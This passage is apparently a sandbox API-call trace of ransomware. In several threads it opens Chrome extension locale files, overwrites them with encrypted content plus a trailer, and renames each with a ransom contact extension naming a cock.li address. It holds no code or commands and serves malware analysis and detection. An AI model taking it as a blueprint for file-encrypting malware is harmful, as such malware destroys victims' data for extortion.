(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json", dwFileAttributes=0x20) returned 1 [0189.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x584 [0189.537] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x521fe1c | out: lpFileSize=0x521fe1c*=260) returned 1 [0189.537] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.537] ReadFile (in: hFile=0x584, lpBuffer=0x521fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x521fd9c, lpOverlapped=0x0 | out: lpBuffer=0x521fda0*, lpNumberOfBytesRead=0x521fd9c*=0x4, lpOverlapped=0x0) returned 1 [0189.538] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5be8 [0189.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5ff8 [0189.538] NtQuerySystemTime (in: CurrentTime=0x521fd7c | out: CurrentTime=0x521fd7c*=132174899641414000) returned 0x0 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x472bf189 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x39c849ac [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x11611d3c [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x54564f83 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x76e970bc [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x174dec20 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x139db614 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x7e9edcb6 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x38372d73 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x3a79a91b [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x47ab39dc [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x35f37f6d [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x154c97ed [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0xb2a47de [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x4267ffe7 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x59e39abe [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x3601be5d [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x3dee8fc0 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x7f2c27fc [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x4044a2b3 [0189.538] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x56ba640e [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x69c33c90 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x59524492 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x450e45e2 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x5e5eea02 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x5a2168d7 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x9ef6802 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x7db8f853 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x617708be [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x49f78c2d [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x25d58a16 [0189.539] RtlRandomEx (in: Seed=0x521fd88 | out: Seed=0x521fd88) returned 0x25315763 [0189.558] ReadFile (hFile=0x584, lpBuffer=0x1335b078, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x521fd78, lpOverlapped=0x0) [0189.558] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.558] WriteFile (in: hFile=0x584, lpBuffer=0x12d0d810*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x521fd74, lpOverlapped=0x0 | out: lpBuffer=0x12d0d810*, lpNumberOfBytesWritten=0x521fd74*=0x104, lpOverlapped=0x0) returned 1 [0191.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938248 [0191.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938270 [0191.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0191.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0191.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0191.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c530) returned 1 [0191.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0191.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ea0 [0191.672] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.672] WriteFile (in: hFile=0x584, lpBuffer=0x12cf5a68*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x521fddc, lpOverlapped=0x0 | out: lpBuffer=0x12cf5a68*, lpNumberOfBytesWritten=0x521fddc*=0x10b, lpOverlapped=0x0) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5a68) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ed0) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ea0) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938248) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5be8) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c10) returned 1 [0191.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fa8) returned 1 [0191.805] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c92e0 [0191.805] wcscpy (in: _Dest=0xd4c92e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" [0191.806] wcscat (in: _Dest=0xd4c92e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x521fd94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x9357b8 Thread: id = 7943 os_tid = 0x1450 [0186.447] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json")) returned 0x2020 [0186.448] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", dwFileAttributes=0x20) returned 1 [0189.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x22c [0189.559] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x43efbe4 | out: lpFileSize=0x43efbe4*=223) returned 1 [0189.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5ff8 [0189.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cd8 [0189.559] NtQuerySystemTime (in: CurrentTime=0x43efb44 | out: CurrentTime=0x43efb44*=132174899641570000) returned 0x0 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x40612ffa [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x6304c4b8 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2d66cdfa [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x7042b4ab [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x1e1a4e46 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x4cfa97af [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x410f5b94 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2d9eb6e0 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0xed3f2e2 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x33f0ea15 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x4ec58429 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x6285fb04 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x225f4ce1 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x54c0ed4c [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x617385a9 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x69d8bcbf [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x4d19c1c1 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x28e84f48 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2846f7c7 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2328f642 [0189.559] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x18d47ae6 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x470af0c4 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2ad2be15 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x6d259eef [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x4b418f6a [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x9d5117 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x46045b83 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x37b974a8 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x2ed66d8e [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x239d2b8c [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x471aa519 [0189.560] RtlRandomEx (in: Seed=0x43efb50 | out: Seed=0x43efb50) returned 0x38e7c9fc [0189.571] ReadFile (hFile=0x22c, lpBuffer=0x12d1a018, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x43efb40, lpOverlapped=0x0) [0189.572] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.573] WriteFile (in: hFile=0x22c, lpBuffer=0x13310048*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x43efb3c, lpOverlapped=0x0 | out: lpBuffer=0x13310048*, lpNumberOfBytesWritten=0x43efb3c*=0xdf, lpOverlapped=0x0) returned 1 [0191.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382e8 [0191.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938310 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938310) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13310048) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d1a018) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c968) returned 1 [0191.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0191.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d80 [0191.676] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.676] WriteFile (in: hFile=0x22c, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x43efba4, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x43efba4*=0x10b, lpOverlapped=0x0) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6db0) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938310) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d80) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382e8) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5ff8) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cb0) returned 1 [0191.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e90) returned 1 [0191.810] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9468 [0191.810] wcscpy (in: _Dest=0xd4c9468, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" [0191.810] wcscat (in: _Dest=0xd4c9468, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.810] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x43efb5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.810] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x933e38 Thread: id = 7944 os_tid = 0x1454 [0186.448] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json")) returned 0x2020 [0186.448] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", dwFileAttributes=0x20) returned 1 [0189.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5d4 [0189.576] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x682f9dc | out: lpFileSize=0x682f9dc*=227) returned 1 [0189.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cd8 [0189.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d87d8 [0189.577] NtQuerySystemTime (in: CurrentTime=0x682f93c | out: CurrentTime=0x682f93c*=132174899641726000) returned 0x0 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x41d2393 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x1d44df06 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x7f5f2c5c [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x6287dac8 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x443f6a29 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x836d5a9 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x27c94c9e [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x6fead1a3 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x40850d51 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x1c91be43 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x3bbaecb8 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x1f8e390b [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x24ff15d6 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x2864df23 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x203d5627 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x6d847e03 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x15f9f8a2 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x3f8b2d01 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x7a2f7482 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x43e6a68f [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x3ce84713 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x7e634b37 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x347429ae [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0xf450561 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x3066fbc [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0xb3a1329 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x7518ebdd [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x35eaa6e0 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x38b88800 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x352dd3f3 [0189.577] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x76aa7264 [0189.578] RtlRandomEx (in: Seed=0x682f948 | out: Seed=0x682f948) returned 0x276fba88 [0189.589] ReadFile (hFile=0x5d4, lpBuffer=0x1331c850, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x682f938, lpOverlapped=0x0) [0189.590] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.590] WriteFile (in: hFile=0x5d4, lpBuffer=0x13329058*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x682f934, lpOverlapped=0x0 | out: lpBuffer=0x13329058*, lpNumberOfBytesWritten=0x682f934*=0xe3, lpOverlapped=0x0) returned 1 [0191.674] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938298 [0191.674] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382c0 [0191.674] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382c0) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13329058) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1331c850) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c710) returned 1 [0191.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0191.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6e40 [0191.675] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.675] WriteFile (in: hFile=0x5d4, lpBuffer=0x12cf5720*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x682f99c, lpOverlapped=0x0 | out: lpBuffer=0x12cf5720*, lpNumberOfBytesWritten=0x682f99c*=0x10b, lpOverlapped=0x0) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5720) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e70) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382c0) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e40) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938298) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cd8) returned 1 [0191.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8828) returned 1 [0191.807] RtlFreeHeap 